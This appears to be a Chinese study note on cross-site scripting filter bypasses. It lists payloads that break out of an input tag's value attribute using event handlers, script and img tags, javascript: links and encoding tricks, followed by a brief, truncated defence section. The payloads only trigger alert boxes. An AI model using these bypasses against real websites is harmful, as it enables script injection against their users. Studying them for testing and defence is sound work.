参考https://www.cnblogs.com/bmjoker/p/9446472.html
过滤函数:htmlspecialchars()
& 转换为 &
" 转换为 "
' 转换为成为 '
< 转换为 <
> 转换为 >
原理:
下面这两个位置可以执行代码:因为上面有htmlspecialchars函数过滤,所以从input标签比较好下手
input标签是这样
<input name=keyword value="'.$str.'">
1、用 onmouseover、onclick 就是这种的情况 需要在input标签内部
<input name=keyword value=" "onmouseover=alert(1)> ">
<input name=keyword value=" "onmouseover=alert(1)//">
或者:
payload : " onclick=alert(1)> 这样需要点击一下输入框
" onclick=alert(1)// 这样需要点击一下输入框
2、用这中 "><script>alert(1)</script> 也可以执行 需要在input外部
<input name="keyword" value=" "><script>alert(1)</script> ">
3、还有一种姿势 οnfοcus=alert(1) autofocus=
<input name=keyword value=" " onfocus=alert(1) autofocus=" " >
Onfocus事件:定义的事件将在对象获得焦点时触发,这里指input标签获得焦点。
Autofocus属性:input标签的属性,当页面加载input标签,自动获得焦点。
焦点:这里指你的光标的位置,也就是说当你的光标出现在input文本框这里,将进行onfocus事件的发生。
如果script大小写被过滤
-
则使用 <img src=1 οnerrοr=alert(1)>
表示插入一个图片 图片路径错误无法显示 onerror事件 触发 -
构造a标签,使其中的script进行HTML字符实体转换。
使用url编码也可以
t 转换为 t
则可以使用伪协议:javascript:alert(1)
"><a href="javascript:alert(1)">haha</a> 如果是输出在a标签中则可直接使用 javascript:alert(1)
-
script中间插入制表符:
这里使用 	"><a href="java	script:alert(1)
Alert被过滤 可以使用confirm()、prompt()
例 :<script>confirm()</script>
利用javascript:伪协议
"><iframe src=javascript:alert(1)>
“><a href=“javascript:alert(1)”>haha</a> 或者:”><a href=“javascript:alert(1)”>haha
<input name=keyword value=" "><a href="javascript:alert(1)">haha</a>">
<input name=keyword value=" "><a href="javascript:alert(1)">haha">
如果()不能用 可以用 反引号
如果 空格被过滤可以使用 %0a 或 %0d 或/**/
如果是被 加了反斜杠 \ l过滤 双引号 这种过滤
- 过滤 双引号:在alert中实体转换
alert("XSS")
- 使用JavaScript的fromCharCode函数绕过过滤:
<IMGSRC=javascript:alert(String.fromCharCode(88,83,83))>
- 使用没有双引号的:
<IMG SRC=javascript:alert(‘XSS’)>
xss宽字节 绕过
某些情况下使用可以使用注释符绕过 长度限制
资料:
https://blog.csdn.net/suifengshiyu/article/details/22335239
https://blog.csdn.net/free_xiaochen/article/details/82289316
–
现在我们知道,这些标签都是闭合优先级高于双引号完整性优先级的特殊标签。
<!–
<iframe>
<noframes>
<no>
<>
<style>
<textarea>
<title>
<xmp>
其他
<img src=’ ’ οnlοad=alert(1)> 也可以给一个正确的路径 加载后弹窗
防护:
【不相应用户提交的数据,过滤过滤过滤!】
1、将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到 cookie了.
2、表单数据规定值的类型,例如:年龄应为只能为int、name只能为字母数字组合。。。。
4、对数据进行Html Encode 处理
5、过滤或移除特殊的Html标签, 例如: